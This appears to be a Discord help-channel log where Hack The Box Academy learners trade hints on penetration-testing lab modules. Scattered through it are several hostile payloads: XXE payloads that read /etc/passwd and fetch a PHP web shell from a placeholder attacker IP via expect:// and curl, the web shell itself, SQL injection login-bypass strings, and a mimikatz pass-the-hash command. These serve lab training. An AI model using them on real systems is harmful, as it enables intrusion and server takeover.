golden scroll
#

hi everyone, what is the best way to know what kind of query is used on the backend database to input or retrieve data when testing for SQL injection. For example if i know this how a login page retrieves credentials (SELECT * FROM login WHERE username = 'tom' AND password = 'some';) to authenticate a user I can manipulate it in various ways

acoustic owl
chrome furnace
#

so thats why its been taking hours already and rockyou cannot cracked the unshadowed file

acoustic owl
golden scroll
#

thanks

dry arrow
#

Hi guys, I'm stuck with DNS submodule in Attacking Common Services. Do you have any hint about it?

acoustic owl
#

What is not working?

dry arrow
#

The official hint recommends to use the subbrute script, but I don't know how to build the arguments neither ./names.txt nor ./resolvers.txt 😔

urban elk
#

check the section again, it is described

solar granite
#

Hi, doing the wi-fi penetration testing basics module, and have a question regarding the wireless interfaces. Section "wi-fi interfaces", one of the questions is how many wifi networks are available. I noticed a difference in response between piped and not piped output of iwlist wlan0 scan, can someone explain why that is?
Example output:

wifi@WiFiIntro:~$ iwlist wlan0 scan
wlan0     No scan results

wifi@WiFiIntro:~$ iwlist wlan0 scan |  grep 'Cell\|Quality\|ESSID\|IEEE'
          Cell 01 - Address: D8:D6:3D:EB:29:D5
          ...SNIP...

Connected with xfreerdp if it matters.

gray yacht
acoustic owl
obsidian heart
#

hello can anyone help me in Attacking Wi-Fi Protected Setup - Skills Assessment What is the WPS PIN for the WiFi network named HackTheBox-Corp? i try all the possible attack and not working

dry arrow
sly kelp
#

What are the new T3 defensive modules about is there a CDSA Pro cert dropping in future ?

acoustic owl
# sly kelp What are the new T3 defensive modules about is there a CDSA Pro cert dropping in...

Nothing has been announced yet. But the fact that HTB earns money with these certificates and now offers Tier III modules for Blue Teams suggests that there will also be a Blue Team Tier III certificate in the future. Tier III certificates have been published or at least announced for Web and AD. It would therefore only be logical to also have a Blue Team certificate at this level.
But as I said, nothing has been announced and is therefore pure speculation

sly kelp
#

Thanks I was assuming something like that

opal hull
#

Finally nailed Lateral Movement Module Skills Assessment! ... it was... an absolute mission

digital crown
rustic sage
digital crown
rustic sage
ashen pollen
#

Need help with Perm Escalation

lusty thicket
lusty thicket
ashen pollen
#

its getting started

lusty thicket
#

where're you stuck at?

ashen pollen
#

the machine is 6.1.0-10 linux kernel

#

but i cant find any exploits for this version

lusty thicket
#

starts with l

#

you're going to run it

ashen pollen
#

where the script

lusty thicket
#

a quick google search says "LinEnum"

ashen pollen
#

Do i have to run a reverse shell and then run the command thru my reverse shell?

lusty thicket
#

so follow the steps to transfer the enum script from your host to the target machine

ashen pollen
#

Simply just had to copy the pub rsa token from the root & copy it over to my terminal and login with it as the root user

lusty thicket
ashen pollen
lusty thicket
#

wrong advice is just creative reinterpretation

ashen pollen
#

You're telling me to enumerate with a script when i can't even install a script let alone move anywhere in the machine without root access

lusty thicket
ashen pollen
lusty thicket
ebon jasper
gray yacht
fallow kernel
#

Hi everyone, I'm doing the SMB Footprinting lab. I'm stuck at the 3th question (Find additional information about the specific share we found previously and submit the customized version of that specific share as the answer.).
I am using the pwnbox. I try to run CrackMapExec, but when I do that I get -bash: cme: command not found. I tried to install crackmapexec from source but that did not work. Anyone has any idea if it is also possible without crackmapexec?

obsidian heart
#

hello can anyone help me in Attacking Wi-Fi Protected Setup - Skills Assessment What is the WPS PIN for the WiFi network named HackTheBox-Corp? i try all the possible attack and not working

urban elk
#

same commands, just replacing the name

fallow kernel
#

I just found the answer with rpclient 🙂
thnx for helping!

rustic sage
storm elk
#

No

grizzled marsh
#

Hi all! I hope you're all doing good.

#

I'm stuck at "Understanding Log Sources & Investigating with Splunk" module. The questions about the IP addresses of the C2 servers.

#

Can someone help ? a little nudge ?

wicked apex
#

Module: WinPrivEsc
Section: DNSAdmins
Any alternative ways of building dlls other than legacy VisualStudio?
msfvenom isn't doing great, but I couldn't have VisualStudio target the correct legacy version of various codes to build the revshell dll plugin for the DNS server (It can't even complete the build)

#

The way of the exploit works is interesting
But it is tough af to build a working one (without blowing the dns server up)

#

im also looking at ||Ippsec's resolute walkthrough|| and tried to replicate his way...
Sadly ms doesn't seems to release alot of those legacy visualstudios

wicked apex
thick imp
#

Hello! Looking for some help on the Login Brute Forcing -Brute Force Attack module. Ran the python script to obtain the pin and flag. I went through 0000-9999, no hits. Checked the walkthrough guide and the flag isn't given.

wicked apex
loud dagger
#

it's not actually going to take this long right

image.png
tranquil axle
#

thats how long it will take to try all passwords, hopefully it is done faster

loud dagger
#

ok how am i supposed to do this then because the lab only stays open for 6 hours max and this is 180k passwords

#

i can't make hydra go any faster

#

medusa is slow as shit as well

#

oh wait i have an idea

oblique pewter
#

Can anyone help me with the linux fundamentals please. I am having a very hard time

tranquil axle
#

you can also split the wordlist into smaller ones and try them one at a time (for example try all 8 character pws first, then all 9 character ones, etc)

loud dagger
loud dagger
quick crown
#

You figure out your issue? I think I have the same problem because I can't seem to submit the correct answer either.

unkempt jetty
#

For the Linux Privilege Escalation module, specifically the Environment Enumeration one could use a bit better explaining on what the question is asking for tbh

narrow sky
#

Idk if its the right place to ask it, im doing the web attacks module and i dont understand too much about the local file disclosure, i tried with the http python server but in BurpSuite i cant see the response from the server or its empty

#

i mean with xxe

visual umbra
#

Hey, im in sqlmap essetials / OS Exploitation.. the qusteion is "Use SQLMap to get an interactive OS shell on the remote host and try to find another flag within the host. " i get a os-shell and can see all the files, the flag.txt is the same for the qousteion before and iv looked at all other files in /var/www/html but i cant finde the flag.. the hint is: The flag is in a very common directory! but it is hjust one dir inside and it is empty, i cant go to any other dir.. so what im doing wrong?

rustic sage
rustic sage
visual umbra
narrow sky
# rustic sage what?

I mean, in one example the module tells you to create a local dtd file so the server can reference it through a curl but when i do it the response from the server came empty

rustic sage
visual umbra
#

im www-data

rustic sage
narrow sky
#

Yep xxe

rustic sage
#

what is your payload

rustic sage
visual umbra
#

No output

rustic sage
#

try upgrade your shell

visual umbra
#

i cant do it ..

#

nothing works

rustic sage
narrow sky
#

The ip is just a placeholder

rustic sage
narrow sky
#

Yep, the local is suppouse to contain this: <!ENTITY joined "%begin;%file;%end;">

visual umbra
#

yes.. i can do another rev-shell but is not what this questions tells me to do, and i get the files in www/html like i meant do.. i think something is wrong...

limpid hemlock
#

Hey could someone help me with the intro to windows evasion static analysis section i encode a payload using aes encryption through cyber chef but usinh the decoding code given in this secrion what will be the key to decrypt it

rustic sage
# 
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % constant 'aaa)>
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
            <!ELEMENT aa (bb'>
    %local_dtd;
]>

what happens if you do this?

visual umbra
#

i did find / -name "flag.txt" 2>/dev/null and it is just /var/www/html/flag.txt so.,..

rustic sage
#

then cat it?

#

cat /var/www/html/flag.txt

visual umbra
#

like i tell you before, it is wrong flag, it is the flag for question 1--

#

im not stupid

#

i know how to read the flag

rustic sage
#

if find dosent find any more flags, i think your out of luck no?

unkempt jetty
#

Reset the box, ive had to do that on occasion when something that should work doesnt tbh

visual umbra
rustic sage
#

im not, im saying you sound like you are out of luck.

visual umbra
#

hehe

narrow sky
visual umbra
true adder
crimson ocean
#

How to check DNS of a website

narrow sky
rustic sage
rustic sage
true adder
#

Yes, there are multiple ways to search for the file.

crimson ocean
true adder
limpid hemlock
#

Hey could someone help me with the intro to windows evasion static analysis section i encode a payload using aes encryption through cyber chef but usinh the decoding code given in this secrion what will be the key to decrypt it

narrow sky
#

and this is the content of the "shell.php: '<?php system($_REQUEST["cmd"]);?>'

visual umbra
#

the shell is not good.. cant use grep, cant use cd etc...

rustic sage
rustic sage
visual umbra
rustic sage
#

no reason to follow the rules mate

visual umbra
rustic sage
narrow sky
rustic sage
#

you are uploading a php web shell using your xxe payload

#

so you need to execute server side commands using that webshell

#

<?php system($_REQUEST["cmd"]);?>'

#

it will not have a gui, it will only output raw cmd responses

digital crown
narrow sky
rustic sage
#

if you see a 200 OK the webshell is downloaded

digital crown
#

i was about to ask about one method of advanced xxe that doesnt seem to work but i saw your thread 😄

narrow sky
rustic sage
#

i guess, is there anything there?

narrow sky
rustic sage
#

yea, you need to use whatever your webshell is named

#

if you named it thomas-the-tank-engine.php you need to call that 😛

narrow sky
#

hahaha i mean its called shell.php but its still not working

fathom pendant
#

Then you may be doing something wrong

rustic sage
#

yea

#

are you certian you got the server to download the webshell from your web server?

narrow sky
rustic sage
#

yea then its definetly not on that location or not downloaded at all

narrow sky
#

but the link to the shell in the payload is correct and i send it multiple times

rustic sage
#

what does your webserver say when you upload your xxe payload..
also i recommend using a arb file read xxe payload instead of a download payload at stage one, just to confirm that your xxe payload actually works.

fathom pendant
#

Ah doing xxe

rustic sage
#

if you can read /etc/passwd, you know you have xxe for sure. then you can start doing file download after.

#

yea its local dtd file inclusion for xxe

narrow sky
#

the company variable i mean

fathom pendant
#

Id reread how the dtd works

rustic sage
#

dtd is just the file reference

narrow sky
#

i can read /etc/passwd but i cant do the webshell i guess

fathom pendant
#

And understand why company works

narrow sky
#

i the xml i put the "&company;" and i can read passwd but i dont download the payload i think

raven furnace
#

Hey guys I am seeking help in the Intro to Assembly skill assesment

rustic sage
#

you run a python web server in the same folder as your shell.php file right?

cloud sinew
#

Is anyone having issues trying to connect to the HackTheBox website itself? I can connect to everything besides the website on my VM and host OS.

narrow sky
#

yep, and it get download when i enter the ip:server_port/shell.php in my browser

cloud sinew
rustic sage
#

the shell.php should then land somewhere on the server and you should be able to connect to it i suppose

narrow sky
#

should i try fuzz directories till i find the shell.php in the webserver to be sure that got uploaded?

rustic sage
#

yea you can try that

fathom pendant
#

I don't recall needing to upload a shell

#

But it's been a minute

rustic sage
#

i dont understand that either, why not jsut read flag file

#

also, with curl you might be able to determine the output folder

#

you could also try wget instead

#

wget -P /var/www/html $url

fathom pendant
#

That module was a blur

rustic sage
#

curl -o /var/www/html $url should work too

# 
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-o$IFS/var/www/html/shell.php$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
gray yacht
visual umbra
gray yacht
#

See if anything is there.

visual umbra
#

says No output

gray yacht
#

Try to list it out with more than just ls

visual umbra
#

get some dirs but but cant get in , all is root im www-data

gray yacht
visual umbra
#

sure

viral mica
#

I've never wanted a module to end faster than the windows privesc module

narrow sky
tawdry badger
#

Hi anyone tried MonitorsThree htb

rustic sage
#

My honest reaction to the facts presented above 0:20 & 0:40 https://music.youtube.com/watch?v=7NMyvtUu9-A&feature=shared

YouTube
Scooter - Topic
Maria (I Like It Loud)

Provided to YouTube by Universal Music Group

Maria (I Like It Loud) · Scooter · Marc Acardipane · Dick Rules

The Stadium Techno Experience

℗ A ZEITGEIST for Virgin Records recording; ℗ 2003 Sheffield Tunes

Released on: 2003-03-31

Composer Lyricist: Marc Acardipane
Composer Lyricist: H.P. Baxxter
Composer Lyricist: Jay Frog
Composer Lyri...

▶ Play video
civic steeple
#

when a module says "1 Day" (work day?) to complete, does that mean 8 hours or 24 hours?

gray yacht
fathom pendant
#

Equate 1 day to working day

viral mica
#

an 8 hour module can be done in 4 hours honestly

#

assuming you dont run into toruble

wintry compass
#

Hey Jeff, I have been working with this module for some time now.. And it seems that im stuck here aswell. Can I talk to you for some guidance on this?

Thanks

gray yacht
safe star
viral mica
#

bro

#

lol

lusty thicket
viral mica
#

Right now I am cheating in the privesc module idc anymore

#

instead of doing the things in the section im skipping and just using a previous exploit xD

#

stealing SAM

lusty thicket
viral mica
#

lol ill come back someday im sure, but the title of the section is Miscellaneous techniques

olive fiber
#

who got it before me? 😂 😂 😂 😂

image.png
viral mica
#

I am tired of reading the word miscellanous

olive fiber
#

at this portion of the module, the given script has a small bug i think. At least for me did not worked "out of range error". I had to manually fix it. Lost some time there

image.png
wispy rapids
#

@everyone

civic steeple
lofty whale
#

on Access Control List (ACL) Abuse Primer i am on the last question and i feel getting it correct is just the way its worded. I know the answer but not how htb wants it put into the space. anyone have any insight

unique ether
#

Does Ad module take 7days

#

Actually?

viral mica
viral mica
#

youll know when to use it

unique ether
viral mica
#

that's nothing compared to the windows privesc

#

windows privesc is now officially driving me insane

unique ether
#

We ll make it out brah

viral mica
tribal plinth
woeful lake
viral mica
#

i finally reached the first assessment after several days

rough comet
#

hi folks

#

on the crackmap exec module. May i please get some hint on this question: **Up to how many RIDs does --rid-brute list by default? **

#

I tried several combinations of || --help || with main command and none is showing any default value.

deft lily
#

can anyone help me

#

im actually going insane

safe star
#

ask the question

deft lily
#

windows fundamentals module, when i try to RDP to it, as its asking, iot says the system is offline

safe star
#

have you restarted the machine

deft lily
#

like reset the target machine?

safe star
#

yes

deft lily
#

ill try that rn

deft lily
safe star
deft lily
safe star
#

try the pwnbox

#

worked fine for me

deft lily
#

bruh

safe star
#

remove the space for the user and password , add a : for the ip

deft lily
safe star
#

just use xfreerdp at the start

#

what is the priks thing?

deft lily
deft lily
safe star
#

remove the spaces and add the : for /v

gray yacht
safe star
#

the section shows the exact command

#

xfreerdp /v:<targetIp> /u:htb-student /p:Password

viral mica
#

what is the COM port for juicy potato?

dapper moth
deft lily
#

lmfao

#

wait nvm

#

its still fcked

cloud urchin
# deft lily its still fcked

There's a lot wrong there with your command. "xfreerdp" is the command it should start with, not the "priks" part.

deft lily
#

im using this now: xfreerdp /v:10.129.75.12 /u: htb-student /p: Academy_WinFun!

#

comes back as an error Invalid sigil

cloud urchin
safe star
cloud urchin
#

and username

deft lily
#

oh i thought you meant before the xfreerdp

#

k thnx

cloud urchin
#

you shouldn't have any extra spaces

#

only use a single space to separate the command, parameters, and values

deft lily
#

my goats

#

thanks for baby walking me

viral mica
#

The skills assessment for Windows privesc module is fun.

#

but the rest of the module is such a snorefest.

twin cape
#

goodmorning guys

#

🤣

viral mica
#

Windows Privesc done! Alright I never wanna see windows again thank you.

astral ravine
#

After performing a zone transfer for the domain inlanefreight.htb on the target system, how many DNS records are retrieved from the target system's name server? Provide your answer as an integer, e.g, 123.
I would like to know what would be the command

cloud urchin
#

the module/section didn't go over it?

astral ravine
#

stuck in zone transfer segment of Information gathing web edition

astral ravine
cloud urchin
#

so you ran the command successfully and got the results but were unable to count it? not sure what you mean here

fathom pendant
#

There may be another zone to transfer to and add

astral ravine
#

One more thing is : I'm not quite sure about the command.

fathom pendant
#

dig axfr domain.tld @\nameserver/IP

astral ravine
#

I ran this command but my position was different

#

I used ip address firstly & then used the domain

#

that's why it didn't show up ig

cloud urchin
#

do it like the section shows, the nameserver comes after the @. in marcielee's example the 'domain.tld' is the target domain

obsidian heart
#

hello can anyone help me in Attacking Wi-Fi Protected Setup - Skills Assessment What is the WPS PIN for the WiFi network named HackTheBox-Corp? i try all the possible attack and not working

chrome furnace
#

What is wrong with this command? sekurlsa::pth /user:david /rc4:c39f2beb3d2ec06a62cb887fb391dee0 /domain:INLANEFREIGHT.HTB /run:cmd.exe it spawns a cmd then I check the user and it is still administrator on ms01 instead of david

safe star
chrome furnace
safe star
#

You should still have the rights David tho

safe star
chrome furnace
#

I wont be able to list david shares while Im on ms01 and logged in as administrator right?

safe star
#

You are admin with David’s rights now

chrome furnace
#

Administrator and David is two different accounts

chrome furnace
safe star
#

Have you tried listing the share

chrome furnace
# 
Access is denied.```
#

I am currently logged in as Administrator on MS01, I think I wont be able to list David's share if Im not connected to DC01 right?

#

is DC01 accessible externally or it can only be accessed by the MS01?

safe star
chrome furnace
#

its spawns a CMD. I check using whoami and find out the current user is still Administrator and the machine still on MS01

safe star
#

It’s still gonna say that you’re admin but you will also have David’s domain rights

chrome furnace
#

Bro. You're mixing things up.

safe star
#

They show the same example in the section with julio

#

They are still admin but can list shares

chrome furnace
#

I run the command as Administrator like I said. The command was supposed to connect to DC01 as user David.

chrome furnace
#

ill see what I can do

safe star
#

I’m still the admin user, I just have David’s rights

chrome furnace
#

can you list dir \\dc01\david ?

safe star
#

Go look at the julio example again

safe star
chrome furnace
#

ah yes finally

#

thanks @safe star and @boreal kelp

chrome furnace
#

was able to list now the dc01

cloud urchin
#

careful not to reveal spoilers

chrome furnace
#

oh my god apologies for that

#

alright @cloud urchin

kind jungle
#

Hi guys,
I am doing the AD Enumeration & Attacks - Skills Assessment Part II

For the 8th question: Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host. I get the following hash for Administrator. But when i do use it to login, it doesn't work. Am i doing anything wrong here?

safe star
#

Have you tried local auth

midnight galleon
#

yeah try local-auth

cloud urchin
#

careful to not spoil contents of the skill assessment like that

midnight galleon
#

bro typed the hash 💀

kind jungle
#

my bad

white shadow
#

What are the best & most helpful & most in-depth books you all would recommend on ethical hacking?

#

Are Peter Kim's books any good?

cloud urchin
#

i wouldn't. i'd recommend htb's academy. peter kim's books are great but they're pretty dated.

#

that's the problem with books vs online platforms that can keep up

green minnow
#

I'm trying to do SQL Injection Fundamentals but I'm getting this error when attempting to connect to the mysql database
mysql -u root -h 94.237.59.207 -P 42397 -p 1 ↵ mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead Enter password: ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it

cloud urchin
#

try --skip-ssl

green minnow
#

It works

midnight granite
#

./kernal_exploit3: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kernal_exploit3)
why m i getting this error while solving the LPE kernal exploit module.

#

anybody?

tranquil axle
#

the program you are trying to run is compiled in a way that it looks for the needed library (GLIBC_2.34 in this case) on the machin where it is executed. In your case the program was compiled on a machine that has GLIBC_2.34, but executed on a machine that doesn't have GLIBC_2.34 installed. You either need to compile it on the machine where you want to execute it, compile it on a machine that has the same version of GLIBC_2.34 as the target machine or compile it staticallly linked, which means the program includes all the libraries it needs (but the filesize is then ofc bigger).

#

I think in academy they expect you to build the exploit on the target machine

rocky mist
#

whats the command to view a txt file on windows? like "cat" on linux

analog dock
#

Type

#

One google search would’ve told you that 🙃

rocky mist
analog dock
rocky mist
# 

10/18/2021  12:52 PM                14 flag.txt
               1 File(s)             14 bytes
               0 Dir(s)  30,582,730,752 bytes free

C:\>Type 14 flag.txt
Type 14 flag.txt
The system cannot find the file specified.
Error occurred while processing: 14.

flag.txt```
analog dock
#

🥲

#

It’s type flag.txt, not type 14 flag.txt

rocky mist
#

ye ik i tried that

#

tried with 14 cuz flag.txt alone didnt work

#

nvm got it lol

analog dock
#

🥲

midnight granite
tranquil axle
#

yes, because your host has the library and the target doesnt, either compile it on the target instead (if the target has a compiler installed) or compile it on host with the -static option on your host to include the library in the binary itself

midnight granite
midnight granite
naive sage
lunar wadi
#

For DNS footprinting I've actually answered all the questiosn except for the first one: "Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain. " I'm missing something..

acoustic owl
#

You are looking for the FQDN of the name server

lunar wadi
obsidian heart
#

hello

lunar wadi
#

I dont understand why its the fqdn of the nameserver

obsidian heart
#

anyone solved Attacking Wi-Fi Protected Setup - Skills Assessment

#

?

acoustic owl
obsidian heart
#

help me in Attacking Wi-Fi Protected Setup - Skills Assessment What is the WPS PIN for the WiFi network named HackTheBox-Corp?

lunar wadi
dapper moth
#

You can try the approaches in that section

obsidian heart
#

i did

#

but not working

#

i did both the offline and online attack

tribal plinth
acoustic owl
obsidian heart
#

yeah i tried to make a bash script but still not working

lunar wadi
tribal plinth
obsidian heart
lunar wadi
acoustic owl
acoustic owl
# lunar wadi Yep I'm normally able to understand the materials and lab questions but this tim...

https://en.m.wikipedia.org/wiki/Fully_qualified_domain_name

Fully qualified domain name

A fully qualified domain name (FQDN), sometimes also called an absolute domain name, is a domain name that specifies its exact location in the tree hierarchy of the Domain Name System (DNS). It specifies all domain levels, including the top-level domain and the root zone. A fully qualified domain name is distinguished by its lack of ambiguity in...

rustic sage
# 
SMB         10.129.202.85   445    ILF-DC01         [*] Windows 10.0 Build 17763 x64 (name:ILF-DC01) (domain:ILF.local) 
    error, desc = e.getErrorString()
    ^^^^^^^^^^^
ValueError: too many values to unpack (expected 2)```

its the same cmd as in the module. I don't get whats really causing the error
#

For reference, its password attacks module

tranquil axle
#

Hey, did you end up finding the pw they were looking for? I tried the "easy" ones they mention (seasons/companyname + year and !) and don't feel like spending hours creating and bruteforcing possible pws

woeful lake
muted jacinth
muted jacinth
#

directly on the web page

tranquil axle
#

ew, alright, thanks for the hint!

muted jacinth
#

no sweat

indigo kite
#

Module: Introduction to Threat Hunting & Hunting With Elastic, Hunting For Stuxbot
Task: Navigate to http://[Target IP]:5601 and follow along as we hunt for Stuxbot. In the part where default.exe is under investigation, a VBS file is mentioned. Enter its full name as your answer, including the extension.

I'm connected to the VPN, waited for at least 5 minutes and can't connect to the given IP / Port in firefox. Restarted the target twice with no luck. Tried to reach another host from a different module / task and that worked

#

No proxy configured in Firefox

viral mica
#

attack! attack!

wicked apex
#

Module: Win Priv Esc
DNSAdmin and Print Operators
How do you get the correct version of VisualStudio to compile DLL payloads?
I don't think MS releases 2019 version out there for free

lusty thicket
civic steeple
#

i'm in Getting Started, Page 7, Service Scanning

Service Scanning
jsp0511@htb[/htb]$ nmap -sV -sC -p- 10.129.42.253

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Feb 25 19:25 pub
| ftp-syst:
| STAT:
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: PHP 7.4.3 - phpinfo()
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 233.68 seconds

Then the paragraph right below this says: Take OpenSSH, for example. We see the reported version is OpenSSH 8.2p1 Ubuntu 4ubuntu0.1. From inspection of other Ubuntu SSH package changelogs, we see the release version takes the format 1:7.3p1-1ubuntu0.1. Updating our version to fit this format, we get 1:8.2p1-4ubuntu0.1. A quick search for this version online reveals that it is included in Ubuntu Linux Focal Fossa 20.04.

My question is, where does the "Ubuntu SSH package changelogs, we see the release version takes the format 1:7.3p1-1ubuntu0.1" come from?

lusty thicket
#

it comes from the ubuntu package management system]

#

blame debian for making these naming conventions so absurdly convoluted

civic steeple
# lusty thicket why didnt you just paste the paragraph below that?

this one?

However, it is worth noting that this cross-referencing technique is not entirely reliable, as it is possible to install more recent application packages on an older OS version. The script scan -sC flag causes Nmap to report the server headers http-server-header page and the page title http-title for any web page hosted on the webserver. The web page title PHP 7.4.3 - phpinfo() indicates that this is a PHPInfo file, which is often manually created to confirm that PHP has been successfully installed. The title (and PHPInfo page) also reveals the PHP version, which is worth noting if it is vulnerable.

#

i think what i'm asking is, if the nmap scan produced OpenSSH 8.2p1 Ubuntu 4ubuntu0.1, how in the world would i end up with seeing or finding release version 1:7.3p1-1ubuntu0.1 if the module didnt point it out? does that clarify my confusion?

#

or is that version of OpenSSH only found on 1:7.3p1-1ubuntu0.1?

lusty thicket
#

nmap basically just extracted the banner string from the service that is what openssh advertises as its version

civic steeple
#

ok i think, as you pointed out the naming being complicated, i confused the SSH version for the os version

lusty thicket
#

nmap does not look up or convert this version into a debian styled package format the operating system would use internally

lusty thicket
civic steeple
#

not sure i follow that

lusty thicket
civic steeple
#

ok yes

fleet birch
#

i cant make my vm with parrot os innit can someone voc ?

lusty thicket
fleet birch
#

i already did one post

compact matrix
#

really stuck on this question

image.png
#

I tried this and no luck

image.png
#

and other payloads which still didnt work

compact matrix
#

Sorted

lusty thicket
tribal plinth
#

Did you check the port mentioned in the section for each webapp? You need to add the port to retrieve the flag.

spring pendant
tribal plinth
#

Think of it as 'Attacker.com:8011' will become '127.0.0.1:8011'. Does the webapp run on 8011?

tribal plinth
lofty whale
#

anyone got a second to help me with a problem in acl enumeration?

lusty thicket
#

just ask

lofty whale
#

Using the skills learned in this section, enumerate the ActiveDirectoryRights that the user forend has over the user dpayne (Dagmar Payne). does this need to be done thru powershell command or thru the active directory gui?

lusty thicket
lofty whale
#

roger. i used the visuals from 2 lessions earlier to get to forend but am not able to get to the security tab so i figured it was powershell. just wanted to make sure i wasnt missing something

bright shoal
#

hiya

storm elk
#

Hello

#

Please read #welcome to get your account verified

rustic sage
indigo kite
cloud urchin
latent frigate
#

Are there plan to include cloud modules?

lusty thicket
rustic sage
cloud urchin
fair mural
#

I am on the attacking common services easy lab, I enumerated the user name but hydra keeps throwing an error when bruteforcing the password. I am using the Rockyou.txt.gz. I have decreased the threads and increased the delay but still getting [ERROR] all children were disabled due too many connection errors. Any advice?

cloud urchin
fair mural
#

@cloud urchin No I didn't unzip it, I've ran it without unzipping it before without any issue.

cloud urchin
#

oh interesting... then the error indicates a connection issue

storm elk
#

We can’t help you there

#

This isn’t hacker for hire

odd gate
#

Where I can found it

storm elk
#

No clue, not on this server. What you’re asking for is also illegal

cloud urchin
#

gotta think bigger, like where to find a link you can send someone and you get a billion dollars

storm elk
#

I’ll erase mine for a billion dollars

rustic sage
compact matrix
#

this command injection skills assessment

#

makes me question my existance

glad hinge
#

Hey all. I'm working on the 'remote/reverse port forwarding with ssh' module and following along. When running the payload.exe from the windows host, I keep getting 'command shell session * is invalid and will be closed' from the meterpreter handler. I've tried a couple different payloads (reverse_tcp & meterpreter_reverse_tcp) instead of reverse_https with the same result. I'm assuming that since I see the attempted connection at all the reverse port forwarding is working. Anybody have any hints or tips?

rustic sage
compact matrix
#

i cant keep calm anymore

storm elk
#

The feeling when you’ll figure it out

rustic sage
compact matrix
cerulean hinge
#

Hi, I have a question regarding the SQL injection fundamentals module.
It says that the AND statement has the priority over the OR statement.

So if we face a login form with the query :

SELECT * FROM users WHERE username='' AND password =''

We should be able to inject the following way ?

Username : 'OR '1'='1
Password : whatever' OR 1=1 #

This is what I tried at first for the skills assessment module but it didn't worked so I'm wondering what did I misunderstood.

NB : I completed the module now, I just want to have a better understanding

foggy snow
#

Hey! I am doing the Penetration Tester Job role path and im currently doing the "network enumeration with nmap" module, im at Firewall and IDS/IPS evasion medium lab and I just can't get the flag im supposed to, I even bought Annual silver just so I could get the step by step solution. However even with the step by step solution I can't get it to work, not even when copy and pasting the exact command, I just dont get the same result. Now I do have the answer from the solution but I would like to know why its not working, does anyone have any suggestions / explanations?

#

Q: After the configurations are transferred to the system, our client wants to know if it is possible to find out our target's DNS server version. Submit the DNS server version of the target as the answer.

#

I tried ||sudo nmap -Pn --disable-arp-ping -p 53 -sU -sC targetIP||

lusty thicket
#

you purchased a whole years worth

foggy snow
#

Well not just for that, also want to attempt the examn at one point anyways so have a voucher now

lusty thicket
#

im dying bro

#

anyway

foggy snow
#

what can I say, knowledge is more valuable than money for me

lusty thicket
#

what does the hint say?

lusty thicket
foggy snow
vivid terrace
#

Is HTB going to get any mobile hacking modules in academy? I would like to learn how to hack Android and iOS

lusty thicket
#

do a full udp port scan

foggy snow
#

will try, did forget to mention, I do get a version but its not the right answer, I get NLnet Labs NSD. but the version in the solution is an actualy HTB{} flag

lusty thicket
dusty cape
lusty thicket
foggy snow
#

didnt get a connection though

lusty thicket
foggy snow
#

54

#

53*

lusty thicket
foggy snow
lusty thicket